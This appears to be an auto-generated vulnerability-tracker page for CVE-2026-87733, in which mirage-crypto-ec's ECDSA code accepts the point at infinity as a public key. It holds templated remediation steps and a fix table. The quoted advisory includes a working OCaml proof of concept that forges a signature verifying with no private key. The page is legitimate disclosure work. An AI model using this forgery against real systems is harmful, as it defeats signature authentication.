An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA...
Summary
Vulnerability reported (CVE-2026-87733). Data can be tampered with by attackers.
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-87733 has been found.
Data can be tampered with by attackers. CVSS score: 6.2/10.
What to do: apply the vendor's official patched release.
If unsure, ask your IT team or search "CVE-2026-87733" on the vendor's site.
CVE-2026-87733 — CWE-295 / CVSS v3 6.2
Attack vector: local / unauthenticated / no user interaction
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-295) has been reported.
Check the vendor advisory for the affected versions.
Severity: Medium (CVSS 6.2/10). Data can be tampered with by attackers.
Update to the patched release per vendor advisory.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Audit SBOM/dependencies to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1
Identify exposureidentify
Audit SBOM/dependencies for affected components.資産台帳・SBOM・依存マニフェストで影響コンポーネントを特定する。
-
2
Post-deployment verificationverify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
| Package | Affected → Fixed | |
|---|---|---|
| opammirage-crypto-ec |
< 2.2.0→ 2.2.0 |
2.2.0 |
Fix status by distribution
Records published by each distribution for this CVE. Fixed versions differ by release; check each link.
- Debian DEBIAN-CVE-2026-87733 ocaml-mirage-crypto Fix available
- Ubuntu UBUNTU-CVE-2026-87733 ocaml-mirage-crypto No fixed version in this record
Original description The description as published by the source.
P256{,P384,P521}.Dsa.pub_of_octets accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (point_of_octets); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.
The same class is treated as high severity elsewhere. CVE-2022-21449 ("Psychic Signatures", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 ("CurveBall", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.
Solution
Check for point at infinity in pub_of_octets.
Reproduction
module Dsa = Mirage_crypto_ec.P256.Dsa
(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
any message with no private key. *)
let () =
Mirage_crypto_rng.(set_default_generator (create ~seed:"forge" (module Fortuna)));
let o_key = Result.get_ok (Dsa.pub_of_octets "\x00") in
let z = Digestif.SHA256.(to_raw_string (digest_string "transfer 1000eur to mallory")) in
let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
let s = String.make 31 '\000' ^ "\001" in
Printf.printf "0x00 accepted as a public key: %b\n" (Result.is_ok (Dsa.pub_of_octets "\x00"));
Printf.printf "forged (r, s=1) verifies under O: %b\n" (Dsa.verify ~key:o_key (r, s) z)
Timeline
- June 25th 2026: report to ocaml/security-advisories
- June…
Source: NIST National Vulnerability Database NVD GitHub Advisory
References
- web osv.dev
- web nvd.nist.gov
- web github.com